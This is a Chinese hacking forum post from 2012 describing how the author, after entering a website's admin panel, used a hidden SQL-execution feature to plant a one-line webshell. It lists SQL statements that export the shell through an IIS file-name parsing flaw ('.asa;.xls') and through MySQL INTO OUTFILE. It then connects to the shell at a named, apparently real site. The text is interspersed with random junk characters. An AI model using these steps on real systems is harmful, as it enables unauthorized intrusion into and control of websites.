好不容易进了后台，发现啥上传啊。备份啊多木有。
0 D! V1 i% A- @9 w. `; P1 W" hwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的" H9 s8 O0 R% x
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，/ \9 j8 O0 [ A$ }
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
0 T- E7 D$ f) S* K3 F1.create table cmd (a varchar(50))
( }, w) D. d! G' X* ^1 E2.insert into cmd (a) values (‘‘)
, {% W% M; U; t9 n V: `# c3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
8 N5 K0 N- ? |; o- U r(把表cmd的内容导出为物理路径的一个EXCEL文件)3 N& b$ `% T, j0 K
4.drop table cmd
, `/ B" Y" U% a. ~5 ?+ k! _利用IIS的BUG成功拿到了WEBSHELL。
4 y! p' K" u% V3 s
: ~5 H4 v, ~8 v- m( A直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话, @- O$ J3 Y7 e+ A
$ s& E _# @$ Y0 b
SQL语句意思解释：* J6 e: s+ s! D( O4 O9 b
第一句1 K- _$ w" O- Z s. k# P
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为508 j; V4 _, t+ p; n z* F. c0 O
3 n, _9 o& a" {- o% `, ?4 D
第二句
# W B% i: f0 o1 d! e3 O 在表cmd的a字段插入一句话木马5 U G5 B) M3 w- I- E) i2 ]
第三句$ q _+ s$ k% p5 s9 @' P
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件1 X7 j: p$ E' m, u6 g2 m/ z
( K3 n5 S/ N ~! b5 o- f( P 第四句
7 S( D. i$ o) ? 删除建立的cmd表, \+ |2 Y* T0 s+ i
7 z# A. E$ [ f* @" s3 h% \- w5 Q 以下内容为测试：* }* |- ]1 o( u% M
Access利用后台SQL执行命令功能导出WebShell:/ e+ R; `6 E n- i- P
这个更简单：4 e/ v& E/ o9 v
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]( @1 _/ d$ X% m/ V
或者
7 @3 J+ ~& Z( U* T [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]2 c4 ~$ v- `* D! z s
( B3 g9 {6 d5 f) a: J' y) f 后台有执行SQL语句功能(vote为已知表段)/ t& l8 r# J4 ^: {
希望对大家有所帮助拿shell的又一个思路" Q5 L# P. B: p" F
|
发表于 2012-9-13 17:53:58
收藏
支持
反对